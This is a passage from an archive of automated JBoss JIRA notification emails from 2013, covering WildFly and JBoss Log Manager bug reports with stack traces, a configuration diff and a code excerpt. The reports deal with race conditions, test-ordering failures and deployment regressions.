> [JBossINF] 19:52:10,113 ERROR [org.apache.catalina.core.ContainerBase.[jboss.web].[default-host]] (ajp-perf20/10.16.90.58:8009-2570) Exception sending request initialized lifecycle event to listener instance of class org.jboss.weld.servlet.WeldListener: java.lang.NullPointerException
> [JBossINF] 	at org.jboss.as.web.session.ClusteredSession.update(ClusteredSession.java:972) [jboss-as-web-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
> [JBossINF] 	at org.jboss.as.web.session.DistributableSessionManager.loadSession(DistributableSessionManager.java:1377) [jboss-as-web-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
> [JBossINF] 	at org.jboss.as.web.session.DistributableSessionManager.findSession(DistributableSessionManager.java:673) [jboss-as-web-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
> [JBossINF] 	at org.jboss.as.web.session.DistributableSessionManager.findSession(DistributableSessionManager.java:84) [jboss-as-web-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
> [JBossINF] 	at org.apache.catalina.connector.Request.doGetSession(Request.java:2618) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.connector.Request.getSession(Request.java:2375) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.connector.RequestFacade.getSession(RequestFacade.java:841) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.jboss.weld.context.beanstore.http.LazySessionBeanStore.getSession(LazySessionBeanStore.java:72) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.jboss.weld.context.beanstore.http.LazySessionBeanStore.<init>(LazySessionBeanStore.java:58) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.jboss.weld.context.http.HttpSessionContextImpl.associate(HttpSessionContextImpl.java:31) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.jboss.weld.context.http.HttpSessionContextImpl.associate(HttpSessionContextImpl.java:16) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.jboss.weld.servlet.WeldListener.requestInitialized(WeldListener.java:134) [weld-core-1.1.8.Final-redhat-1.jar:1.1.8.Final-redhat-1]
> [JBossINF] 	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:368) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.coyote.ajp.AjpProcessor.process(AjpProcessor.java:505) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.coyote.ajp.AjpProtocol$AjpConnectionHandler.process(AjpProtocol.java:452) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:931) [jbossweb-7.0.16.Final-redhat-1.jar:]
> [JBossINF] 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:27:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:27:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1595) Possible race in
 jboss-invocation proxies resulting in NPE in initializer
In-Reply-To: <JIRA.12495192.1372283833000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495192.1372283833000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495192.1372283833000.28909.1379363227880@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1595?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804779#comment-12804779 ] 

RH Bugzilla Integration commented on WFLY-1595:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 978603|https://bugzilla.redhat.com/show_bug.cgi?id=978603] from VERIFIED to CLOSED
                
> Possible race in jboss-invocation proxies resulting in NPE in initializer
> -------------------------------------------------------------------------
>
>                 Key: WFLY-1595
>                 URL: https://issues.jboss.org/browse/WFLY-1595
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha3
>
>
> jboss-invocation proxies use a thread local to pass information into the initializer, in most cases this works fine as long as only a single thread is attempting to define the class. It is possible for a different thread to load the class that the one that defines it.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:27:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:27:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1407) Correct test methods
 dependency in EjbMethodInterceptorTestCase
In-Reply-To: <JIRA.12493052.1369797193000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493052.1369797193000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493052.1369797193000.28912.1379363227976@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1407?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804780#comment-12804780 ] 

RH Bugzilla Integration commented on WFLY-1407:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 968781|https://bugzilla.redhat.com/show_bug.cgi?id=968781] from VERIFIED to CLOSED
                
> Correct test methods dependency in EjbMethodInterceptorTestCase
> ---------------------------------------------------------------
>
>                 Key: WFLY-1407
>                 URL: https://issues.jboss.org/browse/WFLY-1407
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>            Priority: Minor
>             Fix For: 8.0.0.Alpha2
>
>         Attachments: failure-stacktrace.txt, WFLY-1407.patch
>
>
> org.jboss.as.test.integration.ejb.interceptor.method.EjbMethodInterceptorTestCase failed intermittently due to dependency of test ordering on https://jenkins.mw.lab.eng.bos.redhat.com/hudson/view/EAP6/view/EAP6-AS-Testsuite/job/eap-60-as-testsuite-RHEL-matrix-openJDK7/lastCompletedBuild/jdk=openjdk-1.7.0-local,label_exp=RHEL6%26%26x86_64/testReport/org.jboss.as.test.integration.ejb.interceptor.method/EjbMethodInterceptorTestCase/testMethodLevelInterceptors/ 
> In upstream code, its bean fixed by forcing test running in order, however, the real issue behind is that it assumes testMethodLevelInterceptors() run at first which does not contain variable TopSecretInterceptor.called reset to false at beginning like second test method does.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-291) Speed up clustering test suite
 using ARQ custom containers
In-Reply-To: <JIRA.12463636.1334097872000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463636.1334097872000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463636.1334097872000.28918.1379363344220@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-291?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804784#comment-12804784 ] 

RH Bugzilla Integration commented on WFLY-291:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 972576|https://bugzilla.redhat.com/show_bug.cgi?id=972576] from VERIFIED to CLOSED
                
> Speed up clustering test suite using ARQ custom containers
> ----------------------------------------------------------
>
>                 Key: WFLY-291
>                 URL: https://issues.jboss.org/browse/WFLY-291
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering, Test Suite
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Alpha1
>
>
> Leveraging ARQ-850.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1432) ClassCastException when JBoss
 LogManager is initialized before the logging subsystem expects
In-Reply-To: <JIRA.12493339.1370021199000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493339.1370021199000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493339.1370021199000.28925.1379363344557@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1432?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804786#comment-12804786 ] 

RH Bugzilla Integration commented on WFLY-1432:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 969530|https://bugzilla.redhat.com/show_bug.cgi?id=969530] from VERIFIED to CLOSED
                
> ClassCastException when JBoss LogManager is initialized before the logging subsystem expects
> --------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1432
>                 URL: https://issues.jboss.org/browse/WFLY-1432
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: Kyle Lape
>            Assignee: James Perkins
>
> When making the following modifications to put JBoss LogManager on the boot classpath to make it available to Java agents:
> {noformat}
> diff --git a/bin/standalone.conf b/bin/standalone.conf
> index 97895a5..9517129 100644
> --- a/bin/standalone.conf
> +++ b/bin/standalone.conf
>  -35,7 +35,7 @@
>  #JAVA=""
>  
>  if [ "x$JBOSS_MODULES_SYSTEM_PKGS" = "x" ]; then
> -   JBOSS_MODULES_SYSTEM_PKGS="org.jboss.byteman"
> +   JBOSS_MODULES_SYSTEM_PKGS="org.jboss.logmanager,org.jboss.logmanager.config,org.jboss.logmanager.errormanager,org.jboss.logmanager.filters,org.jboss.logmanager.formatters,org.jboss.logmanager.handlers"
>  fi
>  
>  # Uncomment the following line to prevent manipulation of JVM options
>  -48,7 +48,7 @@ fi
>  #
>  if [ "x$JAVA_OPTS" = "x" ]; then
>     JAVA_OPTS="-Xms1303m -Xmx1303m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true"
> -   JAVA_OPTS="$JAVA_OPTS -Djboss.modules.system.pkgs=$JBOSS_MODULES_SYSTEM_PKGS -Djava.awt.headless=true"
> +   JAVA_OPTS="$JAVA_OPTS -Xbootclasspath/p:$JBOSS_HOME/modules/system/layers/base/org/jboss/logmanager/main/jboss-logmanager-1.4.0.Final-redhat-1.jar -Djboss.modules.system.pkgs=$JBOSS_MODULES_SYSTEM_PKGS -Djava.awt.headless=true -Dcom.sun.management.jmxremote=x -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -Djava.util.logging.manager=org.jboss.logmanager.LogManager"
>  else
>     echo "JAVA_OPTS already set in environment; overriding default settings with values: $JAVA_OPTS"
>  fi
> {noformat}
> I get the following error:
> {noformat}
> 09:28:18,984 ERROR [org.jboss.as.controller.management-operation] (ServerService Thread Pool -- 5) JBAS014612: Operation ("add") failed - address: ([
>     ("subsystem" => "logging"),
>     ("console-handler" => "CONSOLE")
> ]): java.lang.ClassCastException: org.jboss.logmanager.PropertyConfigurator cannot be cast to org.jboss.as.logging.logmanager.ConfigurationPersistence
>         at org.jboss.as.logging.logmanager.ConfigurationPersistence.getOrCreateConfigurationPersistence(ConfigurationPersistence.java:93)
>         at org.jboss.as.logging.logmanager.ConfigurationPersistence.getOrCreateConfigurationPersistence(ConfigurationPersistence.java:81)
>         at org.jboss.as.logging.LoggingOperations$LoggingOperationStepHandler.execute(LoggingOperations.java:154)
>         at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ParallelBootOperationStepHandler$ParallelBootTask.run(ParallelBootOperationStepHandler.java:334) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) [classes.jar:1.6.0_45]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) [classes.jar:1.6.0_45]
>         at java.lang.Thread.run(Thread.java:680) [classes.jar:1.6.0_45]
>         at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-65) EjbUtilities is used without
 regard for dependencies
In-Reply-To: <JIRA.12488920.1365544367000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488920.1365544367000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488920.1365544367000.28930.1379363344779@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-65?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804787#comment-12804787 ] 

RH Bugzilla Integration commented on WFLY-65:
---------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 950864|https://bugzilla.redhat.com/show_bug.cgi?id=950864] from VERIFIED to CLOSED
                
> EjbUtilities is used without regard for dependencies
> ----------------------------------------------------
>
>                 Key: WFLY-65
>                 URL: https://issues.jboss.org/browse/WFLY-65
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Stuart Douglas
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha1
>
>
> org.jboss.as.ejb3.component.EJBUtilities is used to get services in the EJB subsystem, without setting up proper dependencies (e.g. in org.jboss.as.ejb3.component.EJBComponentCreateService#getEJBUtilities). Occasionally this can cause problems at startup as EJBUtilities can end up being null for some EJB's. 
> We should probably just remove this class, or at the very least make sure it is injected properly and not looked up.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1517) regression: using a
 ResourceAdaptor (rar) which has properties that use primitives as arguments
 will fail to deploy
In-Reply-To: <JIRA.12494170.1371121047000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494170.1371121047000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494170.1371121047000.28937.1379363345116@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1517?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804790#comment-12804790 ] 

RH Bugzilla Integration commented on WFLY-1517:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 976294|https://bugzilla.redhat.com/show_bug.cgi?id=976294] from VERIFIED to CLOSED
                
> regression: using a ResourceAdaptor (rar) which has properties that use primitives as arguments will fail to deploy
> -------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1517
>                 URL: https://issues.jboss.org/browse/WFLY-1517
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Tom Fonteyne
>            Assignee: Tom Fonteyne
>             Fix For: 8.0.0.Alpha2
>
>
> org.jboss.as.connector.util.Injection.java:159
>     protected Method findMethod(Class<?> clz, String methodName, String propertyType) {
>         while (!clz.equals(Object.class)) {
>             List<Method> hits = null;
>             Method[] methods = clz.getDeclaredMethods();
>             for (int i = 0; i < methods.length; i++) {
>                 Method method = methods[i];
>                 if (methodName.equals(method.getName()) && method.getParameterTypes().length == 1) {
>                     if (propertyType == null || propertyType.equals(method.getParameterTypes()[0].getName())) {
> the above is not taking primitives into account.
> Example, the IBM IMS connector ims1132.rar has:
> <config-property>
>   <config-property-name>enableHASupport</config-property-name>
>   <config-property-type>java.lang.Boolean</config-property-type>
>   <config-property-value>true</config-property-value>
> </config-property>
> and the method:
> public void setEnableHASupport(boolean isHAEnabled)
> Our "FindMethod" will find this method but will fail to select it as it compares "java.lang.Boolean" with "boolean"

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (LOGMGR-58) Handler rollback gets null
 instance reference if prepare are invoked
In-Reply-To: <JIRA.12484321.1360256904000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484321.1360256904000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484321.1360256904000.28958.1379363345997@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/LOGMGR-58?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804798#comment-12804798 ] 

RH Bugzilla Integration commented on LOGMGR-58:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 975559|https://bugzilla.redhat.com/show_bug.cgi?id=975559] from VERIFIED to CLOSED
                
> Handler rollback gets null instance reference if prepare are invoked
> --------------------------------------------------------------------
>
>                 Key: LOGMGR-58
>                 URL: https://issues.jboss.org/browse/LOGMGR-58
>             Project: JBoss Log Manager
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 1.4.2.Final, 1.5.0.Beta1, 2.0.0.Beta1
>
>
> When a forget/rollback is executed after a prepare the instance has already been removed from the refs. The reference should be held so that it can added back to the refs.
> The least evasive solution is to not invoke the {{applyPostCreate()}} in the prepare. This will require examination of all implementations to make sure values are set, but references are not removed in this phase.
> The other option would be to add a commit step only invoked from the commit phase where references could be removed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:06 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1793) integration tests - allow
 modules to inherit properties variables
In-Reply-To: <JIRA.12497718.1375303385000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497718.1375303385000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497718.1375303385000.28971.1379363346663@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1793?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804805#comment-12804805 ] 

RH Bugzilla Integration commented on WFLY-1793:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 990114|https://bugzilla.redhat.com/show_bug.cgi?id=990114] from VERIFIED to CLOSED
                
> integration tests - allow modules to inherit properties variables
> -----------------------------------------------------------------
>
>                 Key: WFLY-1793
>                 URL: https://issues.jboss.org/browse/WFLY-1793
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: No Release
>            Reporter: Aleksandar Kostadinov
>            Assignee: Ondrej Zizka
>
> Seems like surefire plug-in properties are not inherited by submodules by default. This is a problem as described in bz:
> https://bugzilla.redhat.com/show_bug.cgi?id=990114

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1439) ServerSetupObserver leaks
 changes if exception is thrown
In-Reply-To: <JIRA.12493389.1370246577000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493389.1370246577000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493389.1370246577000.28977.1379363347000@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1439?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804808#comment-12804808 ] 

RH Bugzilla Integration commented on WFLY-1439:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 969346|https://bugzilla.redhat.com/show_bug.cgi?id=969346] from VERIFIED to CLOSED
                
> ServerSetupObserver leaks changes if exception is thrown
> --------------------------------------------------------
>
>                 Key: WFLY-1439
>                 URL: https://issues.jboss.org/browse/WFLY-1439
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Bartosz Baranowski
>            Assignee: Bartosz Baranowski
>            Priority: Minor
>              Labels: testsuite
>             Fix For: 8.0.0.Alpha2
>
>
> If class used as @ServerSetup throws exception from callback, ServerSetupObserver purges all tasks that already have been executed. This means that all changes that have been introduced to AS model will remain( iirc persisted as part of config used my arquillian).
> Hence other tests may fail due to that.
> Ive talked with Stuart and according to his statement @ServerSetup class must not throw exception from callbacks.
> ServerSetupObserver should cleanup in a more graceful manner.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1329) 'whoami' operation
 unexpectedly requires the domain wide configuration lock
In-Reply-To: <JIRA.12491500.1368155897000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491500.1368155897000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491500.1368155897000.28983.1379363347275@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1329?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804810#comment-12804810 ] 

RH Bugzilla Integration commented on WFLY-1329:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 960497|https://bugzilla.redhat.com/show_bug.cgi?id=960497] from VERIFIED to CLOSED
                
> 'whoami' operation unexpectedly requires the domain wide configuration lock
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1329
>                 URL: https://issues.jboss.org/browse/WFLY-1329
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>         Environment: 7.2.0.Final (EAP 6.1.0.Beta1)
>            Reporter: Osamu Nagano
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha2
>
>         Attachments: slowdeployweb.war
>
>
> 'whoami' operation in domain mode seems to require the domain wide configuration lock.  This is problematic when there is an editing operation of domain.xml like a long running undeployment because all 'whoami' requests are blocked by the existing task.  The number of blocked thread increases indefinitely and it will cause an OutOfMemoryError.
> It doesn't happen in standalone mode.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1302) Upgrade log4-jboss-logmanager
In-Reply-To: <JIRA.12490869.1367356636000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12490869.1367356636000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12490869.1367356636000.28989.1379363347590@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1302?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804812#comment-12804812 ] 

RH Bugzilla Integration commented on WFLY-1302:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 958311|https://bugzilla.redhat.com/show_bug.cgi?id=958311] from VERIFIED to CLOSED
                
> Upgrade log4-jboss-logmanager
> -----------------------------
>
>                 Key: WFLY-1302
>                 URL: https://issues.jboss.org/browse/WFLY-1302
>             Project: WildFly
>          Issue Type: Component  Upgrade
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>            Priority: Minor
>             Fix For: 8.0.0.Alpha1
>
>
> Upstream of log4j-jboss-logmanager contains a bug fix for serializing the {{ThrowableInformation}} correctly.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1362)
 javax.transaction.xa.XAException thrown when using JTS transactions
In-Reply-To: <JIRA.12492072.1368791773000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492072.1368791773000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492072.1368791773000.28996.1379363347897@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1362?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804814#comment-12804814 ] 

RH Bugzilla Integration commented on WFLY-1362:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 981174|https://bugzilla.redhat.com/show_bug.cgi?id=981174] from VERIFIED to CLOSED
                
> javax.transaction.xa.XAException thrown when using JTS transactions
> -------------------------------------------------------------------
>
>                 Key: WFLY-1362
>                 URL: https://issues.jboss.org/browse/WFLY-1362
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha1
>         Environment: JBoss EAP 6.1 ER8
>            Reporter: Tom Ross
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha2
>
>
> When running the quick start ejb-multi-server example with JTS transactions the following exception is thrown:
> {noformat}
> 11:21:01,462 ERROR [stderr] (RequestProcessor-5) javax.transaction.xa.XAException
> 11:21:01,462 ERROR [stderr] (RequestProcessor-5)     at com.arjuna.ats.internal.jta.transaction.jts.jca.XATerminatorImple.recover(XATerminatorImple.java:238)
> 11:21:01,462 ERROR [stderr] (RequestProcessor-5)     at org.jboss.as.ejb3.remote.protocol.versionone.XidTransactionManagementTask.tryRecoveryForImportedTransaction(XidTransactionManagementTask.java:109)
> 11:21:01,463 ERROR [stderr] (RequestProcessor-5)     at org.jboss.as.ejb3.remote.protocol.versionone.XidTransactionCommitTask.manageTransaction(XidTransactionCommitTask.java:62)
> 11:21:01,463 ERROR [stderr] (RequestProcessor-5)     at org.jboss.as.ejb3.remote.protocol.versionone.XidTransactionManagementTask.run(XidTransactionManagementTask.java:68)
> 11:21:01,463 ERROR [stderr] (RequestProcessor-5)     at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471)
> 11:21:01,463 ERROR [stderr] (RequestProcessor-5)     at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334)
> 11:21:01,463 ERROR [stderr] (RequestProcessor-5)     at java.util.concurrent.FutureTask.run(FutureTask.java:166)
> 11:21:01,464 ERROR [stderr] (RequestProcessor-5)     at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
